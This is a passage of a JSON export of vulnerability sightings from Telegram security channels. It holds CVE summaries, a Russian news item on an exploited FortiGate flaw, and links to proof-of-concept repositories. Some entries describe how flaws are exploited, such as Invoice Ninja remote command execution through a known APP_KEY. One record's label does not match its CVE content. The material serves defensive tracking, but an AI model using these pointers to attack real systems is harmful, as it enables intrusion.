\u043f\u043e\u043c\u043e\u0433\u0430\u044e\u0442 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u043f\u0440\u0430\u0432, \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u0441\u0435\u0442\u0438 \u0438 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u043b\u043e\u0433\u043e\u0432, \u0447\u0442\u043e \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u043e\u0432\u0440\u0435\u043c\u044f \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432. \u0412\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043d\u044b\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u043e\u043a\u0430\u0436\u0443\u0442\u0441\u044f \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0432\u0430\u0436\u043d\u044b\u043c\u0438, \u043f\u043e\u043a\u0430 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u043f\u0443\u0449\u0435\u043d \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0430\u0442\u0447.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2025-01-31T04:20:19.000000Z"}, {"uuid": "ce7372e2-c62c-4d10-9eb4-ed6a8c0606e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55968", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/9471", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aPOC for DTEX LPE (CVE-2024-55968)\nURL\uff1ahttps://github.com/null-event/CVE-2024-55968\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-12-17T21:12:14.000000Z"}, {"uuid": "62fe3e40-d4d7-403c-b7f4-f893d76cb05e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "exploited", "source": "https://t.me/itsec_news/5140", "content": "\u200b\u26a1\ufe0f\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 FortiGate \u043e\u0442\u043a\u0440\u044b\u043b\u0430 \u0434\u0432\u0435\u0440\u0438 \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443\n\n\ud83d\udcac \u0425\u0430\u043a\u0435\u0440\u044b \u043d\u0430\u0447\u0430\u043b\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043d\u043e\u0432\u0443\u044e \u0431\u0440\u0435\u0448\u044c \u0432 \u0437\u0430\u0449\u0438\u0442\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 Fortinet \u0434\u043b\u044f \u0432\u0437\u043b\u043e\u043c\u0430 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0439. \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u044d\u043a\u0440\u0430\u043d\u0430\u0445 FortiGate, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0435\u0439 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2024-55591. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438, \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0443\u0436\u0435 \u0431\u044b\u043b\u0438 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442, \u0447\u0442\u043e \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 Fortinet \u043d\u0430\u0447\u0430\u043b\u0438\u0441\u044c \u0435\u0449\u0451 \u0434\u043e \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u0443\u0437\u043d\u0430\u043b \u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0435 \u0438 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u043f\u0430\u0442\u0447\u0438, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0430\u043a \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u043c\u044b\u043c \u00ab\u043d\u0443\u043b\u0435\u0432\u044b\u043c \u0434\u043d\u0451\u043c\u00bb. \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Arctic Wolf, \u043c\u0430\u0441\u0441\u043e\u0432\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u0435\u043b\u0430\u0441\u044c \u0441 \u0434\u0435\u043a\u0430\u0431\u0440\u044f. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0434\u0435\u0441\u044f\u0442\u043a\u0438 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0432\u0437\u043b\u043e\u043c\u043e\u0432, \u043e\u0434\u043d\u0430\u043a\u043e \u043f\u043e\u0434\u0447\u0451\u0440\u043a\u0438\u0432\u0430\u044e\u0442, \u0447\u0442\u043e \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0431\u043e\u043b\u044c\u0448\u0435.\n\n\u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u0442\u0430\u043a\u0436\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u044e\u0442, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0430\u0442\u0430\u043a. \u0412 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0445 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\u0445 Arctic Wolf \u0432\u044b\u044f\u0432\u0438\u043b\u0430 \u0441\u0432\u044f\u0437\u044c \u043c\u0435\u0436\u0434\u0443 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u043c\u0438 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430\u043c\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 \u0441\u0445\u043e\u0436\u0438\u043c\u0438 \u043c\u0435\u0442\u043e\u0434\u0430\u043c\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438. \u0413\u0440\u0443\u043f\u043f\u044b, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a Akira \u0438 Fog, \u043c\u043e\u0433\u043b\u0438 \u0431\u044b\u0442\u044c \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u044b \u0432 \u0442\u0435\u043a\u0443\u0449\u0438\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u041f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u0435\u043b\u044c Fortinet \u0437\u0430\u044f\u0432\u0438\u043b, \u0447\u0442\u043e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u043d\u0444\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439. \u041e\u0434\u043d\u0430\u043a\u043e \u0442\u043e\u0447\u043d\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u043f\u043e\u0441\u0442\u0440\u0430\u0434\u0430\u0432\u0448\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f. \u0422\u0430\u043a\u0436\u0435 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e, \u043a\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u0441\u0442\u043e\u0438\u0442 \u0437\u0430 \u044d\u0442\u043e\u0439 \u0430\u0442\u0430\u043a\u043e\u0439, \u0445\u043e\u0442\u044f \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442 \u043f\u0440\u0438\u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u044c \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u043e\u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439.\n\n\u0420\u0430\u043d\u0435\u0435 \u0432 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u0435 Fortinet \u0443\u0436\u0435 \u0441\u0442\u0430\u043b\u043a\u0438\u0432\u0430\u043b\u0430\u0441\u044c \u0441 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043a\u043e\u0433\u0434\u0430 \u0445\u0430\u043a\u0435\u0440\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0444\u0430\u0439\u043b\u0430\u043c, \u0445\u0440\u0430\u043d\u044f\u0449\u0438\u043c\u0441\u044f \u043d\u0430 \u043e\u0431\u043b\u0430\u0447\u043d\u043e\u043c \u0441\u0435\u0440\u0432\u0438\u0441\u0435 \u0442\u0440\u0435\u0442\u044c\u0435\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u044b. \u041d\u0430 \u0444\u043e\u043d\u0435 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0449\u0438\u0445\u0441\u044f \u0430\u0442\u0430\u043a \u0410\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0421\u0428\u0410 (CISA) \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u043e\u0432\u0430\u043b\u043e \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 Fortinet \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0438\u0445.\n\n\u042d\u0442\u0430 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f \u043f\u043e\u0434\u0447\u0451\u0440\u043a\u0438\u0432\u0430\u0435\u0442 \u0432\u0430\u0436\u043d\u043e\u0441\u0442\u044c \u0441\u0432\u043e\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0438\u0441\u0442\u0435\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u043c\u0438\u043d\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u0438 \u0440\u0438\u0441\u043a\u043e\u0432 \u043f\u0443\u0442\u0451\u043c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u043c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0438\u0437 \u0432\u043d\u0435\u0448\u043d\u0435\u0439 \u0441\u0435\u0442\u0438.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2025-01-15T14:56:04.000000Z"}, {"uuid": "381157b9-e401-4b67-817b-5c650b7cf6da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55456", "type": "seen", "source": "https://t.me/cvedetector/17089", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55456 - LunaSVG Buffer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55456 \nPublished : Feb. 3, 2025, 5:15 p.m. | 1\u00a0hour, 22\u00a0minutes ago \nDescription : lunasvg v3.0.1 was discovered to contain a segmentation violation via the component gray_find_cell \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"03 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-03T20:19:20.000000Z"}, {"uuid": "565bc410-4227-447e-b165-7fc8c99c5a84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5594", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/167", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: GHSA-f2h8-4w6p-535w\n\ud83d\udd17 Aliases: CVE-2024-5594\n\ud83d\udd39 Details: OpenVPN before 2.6.11 does not santize PUSH_REPLY messages properly which attackers can use to inject unexpected arbitrary data into third-party executables or plug-ins.\n\ud83d\uddd3\ufe0f Modified: 2025-01-06T15:31:00Z\n\ud83d\uddd3\ufe0f Published: 2025-01-06T15:31:00Z\n\ud83c\udff7\ufe0f CWE IDs: CWE-1287\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-5594\n2. https://community.openvpn.net/openvpn/wiki/CVE-2024-5594\n3. https://www.mail-archive.com/openvpn-users@lists.sourceforge.net/msg0634.html", "creation_timestamp": "2025-01-06T15:36:48.000000Z"}, {"uuid": "78045ddc-1552-44a6-b6fe-41238ff29309", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55075", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/214", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55075\n\ud83d\udd39 Description: Grocy through 4.2.0 allows remote attackers to obtain sensitive information via direct requests to pages that are not shown in the UI, such as calendar and recipes.\n\ud83d\udccf Published: 2025-01-06T00:00:00\n\ud83d\udccf Modified: 2025-01-06T20:29:03.659Z\n\ud83d\udd17 References:\n1. https://m10x.de/posts/2024/11/all-your-recipe-are-belong-to-us-part-1/3-stored-xss-csrf-and-broken-access-control-vulnerabilities-in-grocy/", "creation_timestamp": "2025-01-06T20:48:32.000000Z"}, {"uuid": "0b26835e-f8de-42f2-a1d5-70d296ccf8b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55074", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/218", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55074\n\ud83d\udd39 Description: The edit profile function of Grocy through 4.3.0 allows stored XSS and resultant privilege escalation by uploading a crafted HTML or SVG file, a different issue than CVE-2024-8370.\n\ud83d\udccf Published: 2025-01-06T00:00:00\n\ud83d\udccf Modified: 2025-01-06T20:26:25.597Z\n\ud83d\udd17 References:\n1. https://m10x.de/posts/2024/11/all-your-recipe-are-belong-to-us-part-1/3-stored-xss-csrf-and-broken-access-control-vulnerabilities-in-grocy/", "creation_timestamp": "2025-01-06T20:49:06.000000Z"}, {"uuid": "b24e2564-4b76-4ad8-8c3d-12804ce313d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55553", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/261", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55553\n\ud83d\udd39 Description: In FRRouting (FRR) before 10.3, it is possible for an attacker to trigger repeated RIB revalidation by sending approximately 500 RPKI updates, potentially leading to prolonged revalidation times and a Denial of Service (DoS) scenario.\n\ud83d\udccf Published: 2025-01-06T00:00:00\n\ud83d\udccf Modified: 2025-01-06T22:16:06.648932\n\ud83d\udd17 References:\n1. https://github.com/FRRouting/frr/pull/17586/commits/b0800bfdf04b4fcf48504737ebfe4ba7f05268d3\n2. https://frrouting.org/security/cve-2024-55553/", "creation_timestamp": "2025-01-06T22:36:58.000000Z"}, {"uuid": "809c3e9d-5fad-4737-9629-8a6798d274a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55557", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/531", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-54819\n\ud83d\udd39 Description: I, Librarian before and including 5.11.1 is vulnerable to Server-Side Request Forgery (SSRF) due to improper input validation in classes/security/validation.php\n\ud83d\udccf Published: 2025-01-07T00:00:00\n\ud83d\udccf Modified: 2025-01-07T19:29:36.907304Z\n\ud83d\udd17 References:\n1. https://github.com/mkucej/i-librarian-free/commit/ed36f6f258392fa2ec72f9820661ded75d91accc\n2. https://github.com/partywavesec/CVE-2024-55557", "creation_timestamp": "2025-01-07T19:37:22.000000Z"}, {"uuid": "4011198e-4676-4a65-bda6-ee6fe04c71d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55218", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/557", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55218\n\ud83d\udd39 Description: IceWarp Server 10.2.1 is vulnerable to Cross Site Scripting (XSS) via the meta parameter.\n\ud83d\udccf Published: 2025-01-07T00:00:00\n\ud83d\udccf Modified: 2025-01-07T19:51:32.353550\n\ud83d\udd17 References:\n1. https://www.icewarp.com/\n2. https://resources.s4e.io/blog/icewarp-server-10-2-1-reflected-xss-vulnerability-cve-2024-55218/", "creation_timestamp": "2025-01-07T20:39:25.000000Z"}, {"uuid": "065afcff-b825-4032-82bd-9ee66c557db5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55555", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/539", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55555\n\ud83d\udd39 Description: Invoice Ninja before 5.10.43 allows remote code execution from a pre-authenticated route when an attacker knows the APP_KEY. This is exacerbated by .env files, available from the product's repository, that have default APP_KEY values. The route/{hash} route defined in the invoiceninja/routes/client.php file can be accessed without authentication. The parameter {hash} is passed to the function decrypt that expects a Laravel ciphered value containing a serialized object. (Furthermore, Laravel contains several gadget chains usable to trigger remote command execution from arbitrary deserialization.) Therefore, an attacker in possession of the APP_KEY is able to fully control a string passed to an unserialize function.\n\ud83d\udccf Published: 2025-01-07T00:00:00\n\ud83d\udccf Modified: 2025-01-07T19:14:30.338Z\n\ud83d\udd17 References:\n1. https://github.com/invoiceninja/invoiceninja/commit/d9302021472c3e7e23bac8c3d5fbec57a5f38f0c\n2. https://www.synacktiv.com/advisories/invoiceninja-unauthenticated-remote-command-execution-when-appkey-known", "creation_timestamp": "2025-01-07T19:39:24.000000Z"}, {"uuid": "9f838ce1-82cb-4c6f-9e3b-553ddbfeeba1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55008", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/439", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55008\n\ud83d\udd39 Description: JATOS 3.9.4 contains a denial-of-service (DoS) vulnerability in the authentication system, where an attacker can prevent legitimate users from accessing their accounts by repeatedly sending multiple failed login attempts. Specifically, by submitting 3 incorrect login attempts every minute, the attacker can trigger the account lockout mechanism on the account level, effectively locking the user out indefinitely. Since the lockout is applied to the user account and not based on the IP address, any attacker can trigger the lockout on any user account, regardless of their privileges.\n\ud83d\udccf Published: 2025-01-07T00:00:00\n\ud83d\udccf Modified: 2025-01-07T15:11:30.416773\n\ud83d\udd17 References:\n1. http://jatos.com\n2. https://hacking-notes.medium.com/cve-2024-51379-jatos-v3-9-4-account-lockout-denial-of-service-cc970f4ca58f", "creation_timestamp": "2025-01-07T15:38:40.000000Z"}, {"uuid": "8f1623b2-0141-4912-96d3-4c981cfd167f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55412", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/481", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55412\n\ud83d\udd39 Description: A vulnerability exits in driver snxpsamd.sys in SUNIX Serial Driver x64 - 10.1.0.0, which allows low-privileged users to read and write arbitary i/o port via specially crafted IOCTL requests . This can be exploited for privilege escalation, code execution under high privileges, and information disclosure. These signed drivers can also be used to bypass the Microsoft driver-signing policy to deploy malicious code.\n\ud83d\udccf Published: 2025-01-07T00:00:00\n\ud83d\udccf Modified: 2025-01-07T17:24:30.684525\n\ud83d\udd17 References:\n1. https://www.sunix.com/tw/\n2. https://github.com/heyheysky/vulnerable-driver/blob/master/CVE-2024-55412/CVE-2024-55412_snxpsamd.sys_README.md", "creation_timestamp": "2025-01-07T17:39:06.000000Z"}, {"uuid": "b27ee2ae-dab1-4e6c-8135-eecaf7a43318", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55411", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/478", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55411\n\ud83d\udd39 Description: An issue in the snxpcamd.sys component of SUNIX Multi I/O Card v10.1.0.0 allows attackers to perform arbitrary read and write actions via supplying crafted IOCTL requests.\n\ud83d\udccf Published: 2025-01-07T00:00:00\n\ud83d\udccf Modified: 2025-01-07T17:28:16.153766\n\ud83d\udd17 References:\n1. https://www.sunix.com/tw/\n2. https://github.com/heyheysky/vulnerable-driver/blob/master/CVE-2024-55411/CVE-2024-55411_snxpcamd.sys_README.md", "creation_timestamp": "2025-01-07T17:38:05.000000Z"}, {"uuid": "f09dd16d-af12-425d-afa2-442134b33ea9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55410", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/485", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55410\n\ud83d\udd39 Description: An issue in the 690b33e1-0462-4e84-9bea-c7552b45432a.sys component of Asus GPU Tweak II Program Driver v1.0.0.0 allows attackers to perform arbitrary read and write actions via supplying crafted IOCTL requests.\n\ud83d\udccf Published: 2025-01-07T00:00:00\n\ud83d\udccf Modified: 2025-01-07T17:19:37.024628Z\n\ud83d\udd17 References:\n1. http://asus.com\n2. https://github.com/heyheysky/vulnerable-driver/blob/master/CVE-2024-55410/CVE-2024-55410_690b33e1-0462-4e84-9bea-c7552b45432a.sys_README.md", "creation_timestamp": "2025-01-07T17:40:04.000000Z"}, {"uuid": "1d9a1229-63dd-47ea-a4e0-8e650a676ba1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55550", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/483", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55550\n\ud83d\udd39 Description: Mitel MiCollab through 9.8 SP2 could allow an authenticated attacker with administrative privilege to conduct a local file read, due to insufficient input sanitization. A successful exploit could allow the authenticated admin attacker to access resources that are constrained to the admin access level, and the disclosure is limited to non-sensitive system information. This vulnerability does not allow file modification or privilege escalation.\n\ud83d\udccf Published: 2024-12-10T00:00:00\n\ud83d\udccf Modified: 2025-01-07T17:20:23.222Z\n\ud83d\udd17 References:\n1. https://www.mitel.com/support/security-advisories\n2. https://www.mitel.com/support/security-advisories/mitel-product-security-advisory-misa-2024-0029", "creation_timestamp": "2025-01-07T17:39:35.000000Z"}, {"uuid": "17643306-2abe-4e0a-8831-3d67e6c03dc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": 